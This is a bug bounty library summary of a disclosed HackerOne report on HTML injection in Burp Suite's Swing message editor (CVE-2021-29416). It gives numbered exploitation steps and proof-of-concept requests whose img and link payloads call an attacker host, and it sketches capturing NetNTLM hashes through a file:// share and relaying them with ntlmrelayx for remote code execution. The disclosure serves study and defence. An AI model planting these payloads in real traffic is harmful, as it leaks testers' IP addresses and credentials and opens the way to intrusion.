# HTML Injection in Swing can disclose netNTLM hash or cause DoS

Burp Suite rendered HTML in intercepted requests, auto-fetching img/link tags and leaking victim IP, NetNTLM hashes, or causing DoS.

- Payout: $1,000
- Severity: medium
- Program: PortSwigger
- Found by: issuefinder
- Disclosed: 2021-03-29
- CVE: CVE-2021-29416
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1054382
- Library page: https://bugbountylibrary.com/r/h1%3A1054382
- Tags: area:os domain:desktop impact:dos impact:internal-access impact:pii-leak kind:bounty platform:hackerone sev:medium tech:java technique:chained vuln:dos vuln:info-disclosure vuln:ssrf

**Target:** Burp Suite Pro/Community HTTP message editor (Repeater/Proxy/History)
**Root cause:** Burp's message editor renders HTML content in request parameters/body, causing the embedded Swing HTML renderer to fetch referenced img/link resources without honoring proxy config.
**Steps:**
1. Paste `?=<html><img+src='http://attacker/leak'>` into a Repeater tab (or intercept a request containing HTML in a param).
2. Burp renders the HTML and issues a hidden GET to `http://attacker/leak`, bypassing upstream/SOCKS proxy settings.
3. For NetNTLM leak, use `file://attacker/share` in img src; run Responder to capture the SMB negotiation and NetNTLM hash.
4. For RCE, relay the SMB auth via ntlmrelayx to a host without SMB signing.
5. For DoS, keep the TCP connection open without responding to freeze Burp.
**How found:** Researcher noticed Burp's editor renders HTML in request content and hypothesized the Swing HTML renderer would fetch embedded resources, then tested img/link tags in Repeater.
**Exploitation:** Attacker plants HTML payload in a request the auditor will inspect (intercept, history, repeater). Burp auto-fetches the resource: HTTP leaks real IP despite proxy; file:// triggers SMB auth leaking NetNTLM hash (crackable) or relayable via ntlmrelayx for RCE; unresponsive server freezes Burp causing unsaved-work loss.
**Escalation:** NetNTLM hash leak chained with ntlmrelayx SMB relay to hosts lacking SMB signing yields RCE in victim context.
**Insight:** Client-side tooling that renders untrusted request content (Swing HTML, markdown previews, log viewers) can be coerced into outbound requests; test file:// schemes to trigger SMB auth leaks and check whether proxy settings are honored.

## Proof of concept (copied exactly from the original report)

**GET request with img tag triggering hidden request**

```
GET /burpsuite_leak_vuln-leak_impact.html?=<html><img+src='http://www.rec2.ml/leak'> HTTP/1.1
```

**POST request with link tag triggering hidden request**

```
POST /burpsuite_leak_vuln-leak_impact.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded

=<html><link+rel='stylesheet'+href='http://www.rec2.ml/leak'>
```

## Write-ups of the same bug (oldest first)
- 2021-03-29: [HTML Injection in Swing can disclose netNTLM hash or cause DoS](https://bugbountylibrary.com/r/h1%3A1054382) — issuefinder (this one)
- 2026-10-15: [Burp Suite OpenAPI Event Log HTML injection triggers Windows SMB authentication](https://bugbountylibrary.com/r/h1%3A3972558) — gankd

